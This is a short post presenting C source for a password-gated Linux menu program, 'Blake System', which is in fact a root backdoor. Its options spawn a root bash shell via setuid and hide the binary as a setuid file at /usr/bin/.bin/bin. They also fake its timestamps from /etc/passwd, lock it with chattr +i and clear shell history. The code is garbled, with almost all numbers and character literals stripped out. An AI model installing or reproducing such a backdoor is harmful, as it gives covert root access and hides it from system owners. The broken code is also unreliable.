Linux C语言小程序

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int compare(char*a,char*b)
{
if(strcmp(a,b)==)
return ;
else
return ;
}
int is_file_exist(const char*file_path)
{
if(file_path==NULL)
{
return -;
}
if(access(file_path,F_OK)==)
{
return ;
}
return -;
}
char *myFileBasePath="/usr/bin/.bin/bin";
char *password="";
char *mustFileName="./root";
int main(int argc,char** argv)
{
int errorTime=;
char typeCommandCode;
char what;
char *a=argv[];
if(compare(a,mustFileName)==){
printf("file path must be ./root\n");
return ;
}
while()
{
printf("please type your password:\n");
char *typePassword=(char*)malloc(sizeof(char));
scanf("%s",typePassword);
what=getchar();
if(compare(password,typePassword)==)
{
errorTime=;
printf("\n\n welcome you to login success! \n\n");
while()
{
system("clear");
printf("************************************************\n");
printf("* Welcome to use Blake System *\n");
printf("* 1----------------get root role *\n");
printf("* 2----------------check file *\n");
printf("* 3--------------- install command *\n");
printf("* 4----------------uninstall command *\n");
printf("* 5--------------- Exit *\n");
printf("* *\n");
printf("************************************************\n");
printf("please type your option:1-5\n");
typeCommandCode=getchar();
what=getchar();
if(typeCommandCode=='')
{
setuid();
setgid();
system("/bin/bash");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
else if(typeCommandCode=='')
{
if(is_file_exist(myFileBasePath)==)
{
printf("\n /usr/bin/.bin/bin you can find the file \n");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
else
{
printf("\n /usr/bin/.bin/bin you can't find the file \n");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
}
else if(typeCommandCode=='')
{
system("mkdir /usr/bin/.bin");
system("mv root /usr/bin/.bin/bin");
system("chmod 4777 /usr/bin/.bin/bin");
system("touch -r /etc/passwd /usr/bin/.bin/");
system("touch -r /etc/passwd /usr/bin/.bin/bin");
system("chattr -R +i /usr/bin/.bin");
system("history -c");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
else if(typeCommandCode=='')
{
system("chattr -i /usr/bin/.bin/bin");
system("rm -rf /usr/bin/.bin");
printf("\n Press and key to Continue \n");
what=getchar();
continue; }else if(typeCommandCode==''){
printf("\n Press and key to Exit \n");
return ;
}
else
{
printf("\n can't find the option \n");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
}
}
else if(compare(password,typePassword)==)
{
printf("\n password error \n\n");
errorTime++;
if(errorTime==)
{
printf("\n\n error time too many, it will to exit! \n\n");
break;
return ;
}
}
}
}
04-18 04:01